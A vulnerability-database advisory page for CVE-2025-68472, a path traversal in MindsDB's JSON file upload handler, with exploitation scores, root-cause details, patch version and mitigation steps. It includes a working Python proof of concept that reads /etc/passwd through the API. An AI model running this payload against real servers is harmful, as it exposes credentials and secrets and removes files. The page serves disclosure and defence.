NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2025-68472 — mindsdb

HIGH

CVE-2025-68472 is a high-severity (CVSS 8.1) Path Traversal vulnerability in mindsdb. EPSS puts its 30-day exploitation probability at 20.3% (97th percentile). A fix is available for mindsdb — see the affected versions and patch details below.

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Also known asGHSA-qqhf-pm3j-96g7PYSEC-2026-90
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68472.

EPSS Exploitation Probability

via FIRST.org ↗
20.3%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs97th percentile — riskier than 97% of all scored CVEsHighest risk
0.00%8.74%17.5%26.2%0.4%20.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍mindsdb

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

  • data = request.json (line ~104) accepts attacker input without validation.
  • file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
  • The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

  1. Run MindsDB in Docker:
    docker pull mindsdb/mindsdb:latest
    docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
    
  2. Execute the exploit from the host (save as poc.py and run with python poc.py):
    # poc.py
    import requests, json
    
    base = "http://127.0.0.1:47334"
    payload = {"file": "../../../../../etc/passwd"}  # no source_type -> hits vulnerable branch
    
    r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10)
    print("PUT status:", r.status_code, r.text)
    
    q = requests.post(
        f"{base}/api/sql/query",
        json={"query": "SELECT * FROM files.leak_rel"},
        timeout=10,
    )
    print("SQL response:", json.dumps(q.json(), indent=2))
    
  3. The SQL response returns the contents of /etc/passwd . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.
  4. Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal

Impact

  • Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImindsdball versions25.11.1pip install --upgrade 'mindsdb==25.11.1'

Affected Products

1 product · 1 configurations
Application
mindsdbmindsdb
< 25.11.1
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mindsdb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mindsdb to 25.11.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68472 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary [BlueRock](https://bluerock.io/) discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. ### Details The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and `source_type` is not `"url"`: - `data = request.json` (line ~104) accepts attacker input without validation. - `file_path = os.path.join(temp_dir_path, data["file"])` (line ~178) creates the path inside a temporary directory
O3 Security · Impact-Aware SCA

Is CVE-2025-68472 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2025-68472: mindsdb — Fixed in 25.11.1